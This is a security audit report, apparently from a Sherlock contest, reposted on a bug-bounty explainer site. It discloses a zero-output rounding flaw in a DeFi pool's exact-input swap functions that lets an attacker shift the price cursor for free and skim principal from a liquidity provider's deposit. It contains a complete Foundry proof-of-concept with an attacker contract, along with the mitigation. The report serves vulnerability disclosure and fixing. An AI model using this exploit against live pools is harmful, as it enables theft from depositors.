A permissionless swapper will extract principal from exact-share liquidity providers
The exact-input swap functions in the pool's swap maths library can return a moved bin cursor while computing zero output, zero input and zero fee, because a small position step floors the output to zero but the selected target position is still kept. A permissionless attacker can repeat these free steps to shift the active cursor away from the bin reserves, let a liquidity provider deposit at the unchanged reserves, then trade back through the artificial price interval to take part of that provider's principal.
Invalidatoors Follow with ShadowSec and bicktivism
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/2419
Found by
Invalidatoors, ShadowSec, bicktivism
Summary
Missing zero-output guards in the exact-input in-bin swap functions will cause a loss of principal for liquidity providers as a permissionless swapper will repeatedly move the active-bin cursor without exchanging any tokens, let an exact-share LP deposit against the unchanged reserves, and then trade through the artificial price interval.
Root Cause
SwapMath.buyToken0InBinSpecifiedIn first derives a price-limit-constrained maxFinalBinPos, then calculates the corresponding output using integer arithmetic:
out0Scaled = calculateOutputToken0FromBinPosition(
binState.token0BalanceScaled,
currBinPos,
maxFinalBinPos
);
uint256 in1WithoutFeeScaled = calculateRequiredToken(out0Scaled, avgPriceX64);
uint256 totalIn1Scaled = grossInputWithBinFeeCeil(in1WithoutFeeScaled, onePlusBuyFeeX64);
uint256 targetPos;
if (totalIn1Scaled <= state.amountSpecifiedRemainingScaled) {
targetPos = maxFinalBinPos;
}
For a sufficiently small position step, calculateOutputToken0FromBinPosition floors out0Scaled to zero. This also makes the required input and fee zero, but the function retains the attacker-selected maxFinalBinPos as targetPos. It then performs zero-valued balance/accounting updates and returns the moved cursor:
binState.token0BalanceScaled -= out0Scaled.toUint104();
binState.token1BalanceScaled =
uint256(binState.token1BalanceScaled + totalIn1Scaled - protocolFeeAmountScaled).toUint104();
state.amountSpecifiedRemainingScaled -= totalIn1Scaled;
state.amountCalculatedScaled += out0Scaled;
delta0Scaled = -out0Scaled.toInt256();
delta1Scaled = (totalIn1Scaled - protocolFeeAmountScaled).toInt256();
return (targetPos, out0Scaled, delta0Scaled, delta1Scaled, binLpFeeAmount);
Therefore, the function returns:
finalBinPos != currBinPos
out0Scaled = 0
delta0Scaled = 0
delta1Scaled = 0
fee = 0
The symmetric defect exists in SwapMath.buyToken1InBinSpecifiedIn.
The pool accepts the returned cursor in _swapToken1ForToken0SpecifiedInput, saves the unchanged bin state, and unconditionally persists the moved cursor through _finalizeSwap. The opposite exact-input direction does the same in _swapToken0ForToken1SpecifiedInput.
This breaks the relationship between the active cursor and the bin reserves: the curve's next execution price changes even though neither reserve, either aggregate bin total, any fee accumulator, nor either external token balance changes.
NOTE: This issue is not known, is not a duplicate, and remains unfixed
The superficially similar prior finding is Zellic §3.4, “Zero-amount swap step can advance the active bin cursor without changing bin balances”. That finding identifies only the two exact-output functions:
buyToken0InBinSpecifiedOut; andbuyToken1InBinSpecifiedOut.
The acknowledged remediation is present in the current code. buyToken0InBinSpecifiedOut and buyToken1InBinSpecifiedOut now reset finalBinPos when exact-output rounding produces zero:
if (amountOutScaled == 0) {
finalBinPos = currBinPos;
return (finalBinPos, 0, 0, 0);
}
No equivalent guard was added to either exact-input function. The previous report mentioned the exact-input counterparts only in its recommendation as functions that should be verified; it did not identify them as affected, demonstrate a reachable exact-input execution, or establish a profitable consequence. The present PoC calls the surviving positive-amountSpecified path and demonstrates a Medium-qualifying principal transfer. Fixing the two previously reported exact-output functions therefore leaves this issue fully exploitable.
Also, the contest's known oracle-shock cycle is unrelated: the PoC keeps the correct oracle price unchanged throughout and derives the entire loss from the free cursor/reserve desynchronization.
Internal Pre-conditions
- A correctly configured pool needs to contain a nonempty active bin with a sufficiently small output-side balance for a nonzero cursor step to round to zero output. The PoC uses the protocol's permitted
1,000minimum shares as initial liquidity. - The active bin needs to have nonzero balances on both sides so a later exact-share deposit is priced proportionally to the stored reserves. A normal paid setup swap places the demonstrated bin at its oracle-centered midpoint.
- The bin needs enough width for accumulated cursor displacement to create a profitable artificial interval. The PoC uses one
2%bin centered around the oracle midpoint, which passes the production factory validation. - An LP needs to submit an exact-share deposit after the cursor manipulation. The demonstrated LP deposits a position worth
$99,899.993749at the correct1:1oracle midpoint. - The pool needs to be unpaused. No extension, privileged permission, non-standard token configuration, or malicious pool parameter is required.
External Pre-conditions
- The attacker needs to order a transaction immediately before the victim's exact-share deposit and a reversal immediately after it. This can be performed through ordinary transaction ordering or a bundle.
- The correct oracle price needs to remain sufficiently stable across the atomic sequence for the attacker to trade back to the honest midpoint. The PoC keeps the correct
1:1midpoint and normal5 bpsoracle half-spread unchanged throughout.
No stale or incorrect oracle report, oracle manipulation, external protocol failure, privileged attacker, token callback, tax, rebase, or non-standard ERC-20 behavior is required.
Attack Path
- An honest, correctly priced pool has a nonempty active bin at the midpoint of its
2%range. Its cursor and two reserves are synchronized. - The attacker calls the pool directly with a positive exact-input amount and a price limit selecting the next small cursor step.
buyToken0InBinSpecifiedIncalculates the selectedtargetPos, but the proportional output rounds down to zero. The required input and fee consequently also equal zero.- The pool returns
(amount0Delta, amount1Delta) = (0,0), so the callback pays nothing, while_finalizeSwapcommits the advanced cursor. - The attacker repeats this operation 347 times in one transaction, moving the cursor from approximately
50%to at least75%of the active bin. Both bin reserves and both external token balances remain unchanged. - The victim's exact-share deposit executes. Because its token requirements are derived from the unchanged reserves and share supply, it transfers the same token amounts it would have transferred before the manipulation; its maximum token caps cannot distinguish the attacked state.
- The attacker sells token0 through the artificial interval and restores the cursor to the honest midpoint. The newly deposited victim liquidity makes that reversal profitable.
- When the victim removes exactly the shares it added, it recovers
$33.078397604819262369less principal than it deposited. The attacker realizes$33.078397604819262367of corresponding swap profit at the unchanged correct midpoint.
The critical free transition is:
before each malicious call: cursor = X, reserves = (R0, R1)
after each malicious call: cursor > X, reserves = (R0, R1)
attacker payment: 0
attacker output: 0
fee: 0
Impact
The affected liquidity provider suffers a principal loss of $33.078397604819262369, equal to 0.03311151% (3.311151 bps) of its $99,899.993749999609374680 deposited principal. The permissionless attacker gains $33.078397604819262367; the two-wei difference is withdrawal rounding.
This exceeds both contest Medium thresholds: the affected principal loss is greater than 0.01% and greater than $10. The attack requires a specific thin initial state, transaction ordering around an exact-share deposit, and many crafted zero-output steps, while the demonstrated loss remains below the 1% High threshold. Medium is therefore appropriate.
PoC
Legitimate inputs and production-path fidelity
- Standard tokens: The PoC uses two ordinary 18-decimal ERC-20s. The issue is internal
SwapMathoutput rounding and does not depend on unusual token behavior or a particular decimal count. - Production deployment: The pool is created through the real
MetricOmmPoolFactoryandMetricOmmPoolDeployer, so the bin packing, parameter validation, immutables, and pool registration path are exercised. - Correct oracle: A fixed
1:1provider supplies a conventional bid of0.9995and ask of1.0005, representing a normal5 bpshalf-spread. The provider is mocked only to hold that correct quote constant; no oracle behavior is part of the root cause. - Permitted pool state: The pool uses one valid
2%bin, the documented1e18per-share density, the accepted1,000minimum liquidity, zero optional additional/notional fees, and no extensions. The spread from the correct bid/ask remains active, but each malicious step computes zero notional and therefore pays zero fee. - Permissionless core entrypoint: The shipped router rejects a callback containing two zero deltas, but the pool's
swapfunction is intentionally public and settles through the caller-providedIMetricOmmSwapCallback. The attacker contract calls the real pool directly, receives(0,0), and owes no tokens. It does not bypass access control or suppress a required payment. - Exact-share caps remain satisfied: The PoC proves both reserves are unchanged after the manipulation and asserts that the victim's deposit amounts equal the same reserve-proportional amounts available before the attack. Thus deploying the periphery adder and setting its maximum token amounts to the pre-attack quote would not change the result.
- Atomic feasibility: All 347 zero-delta calls are batched by one callback contract and the complete attack test consumes
8,561,535gas, within a single transaction on the intended chains. - Causal control: From the identical synchronized midpoint state, adding and immediately removing the same victim shares loses at most two wei. The material loss occurs only after the zero-delta cursor manipulation and reversal.
PoC
Save the following test as metric-core/test/ZeroOutputExactInputCursorPoC.t.sol.
From the repository root, run:
cd metric-core && forge test --match-path test/ZeroOutputExactInputCursorPoC.t.sol -vv
Observed output:
[PASS] test_zeroOutputCursorDriftCausesMediumLpLoss()
zero-delta exact-input calls: 347
victim principal: 99899.993749999609374680
victim loss: 33.078397604819262369
attacker swap profit: 33.078397604819262367
victim loss (bps): 3.311151
Test:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {MetricOmmPoolBaseTest, Q64} from "./MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "../contracts/MetricOmmPool.sol";
import {MetricOmmPoolFactory} from "../contracts/MetricOmmPoolFactory.sol";
import {MetricOmmPoolDeployer} from "../contracts/MetricOmmPoolDeployer.sol";
import {SwapMath, MAX_POS_BIN} from "../contracts/libraries/SwapMath.sol";
import {PoolParameters} from "../contracts/types/FactoryOperation.sol";
import {ExtensionOrders} from "../contracts/types/PoolExtensionsConfig.sol";
import {IMetricOmmPoolActions} from "../contracts/interfaces/IMetricOmmPool/IMetricOmmPoolActions.sol";
import {IMetricOmmSwapCallback} from "../contracts/interfaces/callbacks/IMetricOmmSwapCallback.sol";
/// @dev A permissionless caller can batch the free swaps in one transaction.
contract ExactInputCursorDrifter is IMetricOmmSwapCallback {
function drift(address pool, uint128[] calldata priceLimits) external {
for (uint256 i; i < priceLimits.length; ++i) {
(int128 delta0, int128 delta1) =
IMetricOmmPoolActions(pool).swap(address(this), false, 2, priceLimits[i], "", "");
require(delta0 == 0 && delta1 == 0, "nonzero swap delta");
}
}
function metricOmmSwapCallback(int256 delta0, int256 delta1, bytes calldata) external pure {
require(delta0 == 0 && delta1 == 0, "unexpected payment");
}
}
/// @notice Verifies that exact-input zero-output rounding can be accumulated into
/// a material cursor/reserve desynchronization and converted into LP loss.
contract ZeroOutputExactInputCursorPoC is MetricOmmPoolBaseTest {
uint16 internal constant BIN_LENGTH_E6 = 20_000; // 2%, centred around the oracle mid.
int24 internal constant BIN_START_E6 = -10_000;
uint104 internal constant SEED_SHARES = 1_000;
uint104 internal constant VICTIM_SHARES = 100_000e18;
uint80 internal constant SEED_SALT = 11;
uint80 internal constant VICTIM_SALT = 22;
uint128 internal bidX64;
uint128 internal askX64;
uint256 internal midX64;
uint256 internal lowerX64;
uint256 internal upperX64;
function setUp() public override {
super.setUp();
// A normal 5-bps oracle half-spread. The pool has no additional bin or
// notional fees; no malicious administrator or abnormal token is involved.
bidX64 = uint128(Math.mulDiv(Q64, 9_995, 10_000));
askX64 = uint128(Math.mulDiv(Q64, 10_005, 10_000, Math.Rounding.Ceil));
oracle.setBidAndAskPrice(bidX64, askX64);
(midX64,) = SwapMath.midAndSpreadFeeX64FromBidAsk(bidX64, askX64);
lowerX64 = Math.mulDiv(midX64, 990_000, 1_000_000);
upperX64 = Math.mulDiv(midX64, 1_010_000, 1_000_000);
// Deploy through the production factory so every pool parameter passes the
// same validation and packing used on-chain.
assertLt(uint160(address(token0)), uint160(address(token1)), "test deployment preserves token0 < token1");
oracle.setTokens(address(token0), address(token1));
MetricOmmPoolFactory realFactory = new MetricOmmPoolFactory(address(this));
MetricOmmPoolDeployer realDeployer = new MetricOmmPoolDeployer(address(realFactory));
realFactory.setPoolDeployer(address(realDeployer));
uint256[] memory packedBins = new uint256[](1);
packedBins[0] = uint256(uint48(BIN_LENGTH_E6));
pool = MetricOmmPool(
realFactory.createPool(
PoolParameters({
token0: address(token0),
token1: address(token1),
priceProvider: address(oracle),
extensions: new address[](0),
extensionOrders: ExtensionOrders({
beforeAddLiquidity: 0,
afterAddLiquidity: 0,
beforeRemoveLiquidity: 0,
afterRemoveLiquidity: 0,
beforeSwap: 0,
afterSwap: 0
}),
extensionInitData: new bytes[](0),
priceProviderTimelock: type(uint256).max,
admin: address(this),
initialAmount0PerShareE18: 1e18,
initialAmount1PerShareE18: 1e18,
minimalMintableLiquidity: SEED_SHARES,
adminSpreadFeeE6: 0,
adminNotionalFeeE8: 0,
adminFeeDestination: adminFeeDestination,
curBinDistFromProvidedPriceE6: BIN_START_E6,
nonNegativeBinDataArray: packedBins,
negativeBinDataArray: new uint256[](0),
salt: keccak256("zero-output-exact-input-medium-poc")
})
)
);
factory = address(realFactory);
assertTrue(realFactory.isPool(address(pool)), "production factory recognizes the pool");
_approveUsersForPool(address(pool));
}
function test_zeroOutputCursorDriftCausesMediumLpLoss() public {
// Seed the honest pool's active bin with the documented minimum liquidity.
(uint256 seed0, uint256 seed1) = _addLiquidity(0, 0, 0, SEED_SHARES, SEED_SALT);
assertEq(seed0, SEED_SHARES);
assertEq(seed1, 0);
// A real dust-sized trade puts the bin at its oracle-centred midpoint.
uint256 midpoint = MAX_POS_BIN / 2;
uint128 midpointLimit = _priceAt(midpoint);
(int256 setupDelta0, int256 setupDelta1) =
_swap(0, users[0], false, _i128ExactIn(2_000), midpointLimit);
assertLt(setupDelta0, 0);
assertGt(setupDelta1, 0);
uint256 honestCursor = _getCurPosInBin();
(uint104 reserve0Before, uint104 reserve1Before,,,) = _getBinState(0);
assertApproxEqAbs(honestCursor, midpoint, MAX_POS_BIN / 1e12, "setup reaches bin midpoint");
assertGt(reserve0Before, 0);
assertGt(reserve1Before, 0);
// Control: at the synchronized midpoint, the same LP can add and remove the
// same shares without suffering the later attack loss.
uint256 cleanState = vm.snapshotState();
(uint256 controlAdded0, uint256 controlAdded1) = _addLiquidity(1, 0, 0, VICTIM_SHARES, VICTIM_SALT);
(uint256 controlRemoved0, uint256 controlRemoved1) = _removeLiquidity(1, 0, 0, VICTIM_SHARES, VICTIM_SALT);
uint256 controlPrincipal = _valueInToken1(controlAdded0, controlAdded1);
uint256 controlRecovered = _valueInToken1(controlRemoved0, controlRemoved1);
assertLe(controlPrincipal - controlRecovered, 2, "synchronized control has only atomic rounding dust");
assertTrue(vm.revertToState(cleanState));
// Accumulate sub-unit rounding in a single batched transaction. Every inner
// exact-input swap returns (0,0), pays no fee, and still advances the cursor.
uint256 targetCursor = (MAX_POS_BIN * 3) / 4;
uint128[] memory priceLimits = _buildZeroOutputLimits(honestCursor, targetCursor, reserve0Before);
uint256 zeroDeltaCalls = priceLimits.length;
ExactInputCursorDrifter drifter = new ExactInputCursorDrifter();
uint256 drifter0Before = token0.balanceOf(address(drifter));
uint256 drifter1Before = token1.balanceOf(address(drifter));
drifter.drift(address(pool), priceLimits);
assertGe(_getCurPosInBin(), targetCursor, "one batched call advances the cursor to the target");
assertEq(token0.balanceOf(address(drifter)), drifter0Before, "batch pays no token0");
assertEq(token1.balanceOf(address(drifter)), drifter1Before, "batch pays no token1");
(uint104 reserve0AfterDrift, uint104 reserve1AfterDrift,,,) = _getBinState(0);
assertEq(reserve0AfterDrift, reserve0Before, "cursor drift does not change reserve0");
assertEq(reserve1AfterDrift, reserve1Before, "cursor drift does not change reserve1");
// The victim's exact-share deposit quote is reserve-based for a nonempty bin,
// so the free cursor manipulation does not alter or invalidate token caps.
(uint256 victimAdded0, uint256 victimAdded1) = _addLiquidity(1, 0, 0, VICTIM_SHARES, VICTIM_SALT);
assertEq(victimAdded0, Math.ceilDiv(uint256(reserve0Before) * VICTIM_SHARES, SEED_SHARES));
assertEq(victimAdded1, Math.ceilDiv(uint256(reserve1Before) * VICTIM_SHARES, SEED_SHARES));
uint256 victimPrincipal = _valueInToken1(victimAdded0, victimAdded1);
// Sell token0 through the artificial interval back to the honest midpoint.
uint256 attacker0Before = token0.balanceOf(address(callers[0]));
uint256 attacker1Before = token1.balanceOf(address(callers[0]));
(int256 backrunDelta0, int256 backrunDelta1) =
_swap(0, address(callers[0]), true, _i128ExactIn(uint128(100_000e18)), midpointLimit);
assertGt(backrunDelta0, 0);
assertLt(backrunDelta1, 0);
uint256 attackerSpent0 = attacker0Before - token0.balanceOf(address(callers[0]));
uint256 attackerReceived1 = token1.balanceOf(address(callers[0])) - attacker1Before;
uint256 attackerSpentValue = Math.mulDiv(attackerSpent0, midX64, Q64, Math.Rounding.Ceil);
assertGt(attackerReceived1, attackerSpentValue, "back-run is profitable at the correct oracle mid");
uint256 attackerProfit = attackerReceived1 - attackerSpentValue;
// Realise the victim's principal loss by withdrawing exactly its shares.
(uint256 victimRemoved0, uint256 victimRemoved1) = _removeLiquidity(1, 0, 0, VICTIM_SHARES, VICTIM_SALT);
uint256 victimRecovered = _valueInToken1(victimRemoved0, victimRemoved1);
uint256 victimLoss = victimPrincipal - victimRecovered;
uint256 victimLossBpsE6 = Math.mulDiv(victimLoss, 10_000e6, victimPrincipal);
emit log_named_uint("zero-delta exact-input calls", zeroDeltaCalls);
emit log_named_decimal_uint("victim principal", victimPrincipal, 18);
emit log_named_decimal_uint("victim loss", victimLoss, 18);
emit log_named_decimal_uint("attacker swap profit", attackerProfit, 18);
emit log_named_decimal_uint("victim loss (bps)", victimLossBpsE6, 6);
assertGt(attackerProfit, 10e18, "attacker profit exceeds $10 at the correct 1:1 oracle price");
assertGt(victimLoss, 10e18, "LP principal loss exceeds $10");
assertGt(victimLossBpsE6, 1e6, "LP principal loss exceeds 0.01% (one basis point)");
}
function _priceAt(uint256 position) internal view returns (uint128) {
return uint128(SwapMath.calculatePriceAtBinPosition(lowerX64, upperX64, position, Math.Rounding.Ceil));
}
function _buildZeroOutputLimits(uint256 cursor, uint256 target, uint256 outputReserve)
internal
view
returns (uint128[] memory limits)
{
limits = new uint128[](2_000);
uint256 count;
while (cursor < target) {
uint256 remaining = MAX_POS_BIN - cursor;
uint256 step = remaining / (outputReserve + 1);
uint256 requested = cursor + step;
if (requested > target) requested = target;
uint128 limit = _priceAt(requested);
uint256 resultingCursor =
SwapMath.calculateBinPositionAtPrice(lowerX64, upperX64, limit, Math.Rounding.Floor);
require(resultingCursor > cursor, "price quantization made no progress");
limits[count++] = limit;
require(count < 2_000, "too many free steps");
cursor = resultingCursor;
}
assembly ("memory-safe") {
mstore(limits, count)
}
}
function _valueInToken1(uint256 amount0, uint256 amount1) internal view returns (uint256) {
return amount1 + Math.mulDiv(amount0, midX64, Q64);
}
}
Mitigation
Apply the same zero-output invariant already implemented for the exact-output functions to both exact-input functions. Before mutating balances or returning a computed target cursor, reset to the original cursor when output is zero:
// buyToken0InBinSpecifiedIn
if (out0Scaled == 0) {
return (currBinPos, 0, 0, 0, 0);
}
// buyToken1InBinSpecifiedIn
if (out1Scaled == 0) {
return (currBinPos, 0, 0, 0, 0);
}
Place each guard after the final output/target calculation and before fee, balance, and state updates. Add regression tests for both exact-input directions proving that zero output implies an unchanged cursor, unchanged balances, zero fees, and zero external deltas.
Discussion
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: https://github.com/Metric-OMM/metric-core/pull/63
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the exact-input swap maths returns the attacker-selected target bin position even when the computed output rounds down to zero, so the cursor advances while balances, fees and deltas all stay at zero; the equivalent guard exists only in the exact-output functions.
Impact
The liquidity provider loses about 3.31 basis points of a roughly $99,900 deposit (about $33), which the attacker gains, though the attack needs a thin initial state, transaction ordering around the deposit and many crafted zero-output steps, keeping it below the 1% High threshold.
What the attacker needed
Pool unpaused with a thin active bin; attacker can order txs around a deposit; victim submits an exact-share deposit; oracle price stays stable during the attack
The fix
The protocol team fixed this issue, and the report recommends resetting to the original cursor and returning zero deltas whenever the computed output is zero in both exact-input functions.
How it was found
- Start from an honest pool whose active bin holds liquidity on both sides and whose cursor sits at the oracle midpoint.
- Call the pool directly with a positive exact-input amount and a price limit selecting a tiny cursor step, so the output rounds to zero and nothing is paid.
- Repeat the zero-delta calls in one transaction until the cursor has moved from about half to at least three quarters of the bin, with reserves unchanged.
- Let the victim's exact-share deposit execute against the unchanged reserves.
- Sell token0 back through the artificial interval to restore the cursor to the honest midpoint, making a profit.
- When the victim withdraws the same shares, they recover less principal than they deposited.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A liquidity pool tracks a moving pointer (the cursor) that says where in a price range trading currently happens, alongside the token reserves actually held. Here the pointer could be moved forward many times without any tokens being paid or received, so the pointer no longer matched the reserves. An attacker used that mismatch to make a later deposit look normal, then traded against it and took a small slice of the depositor's money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.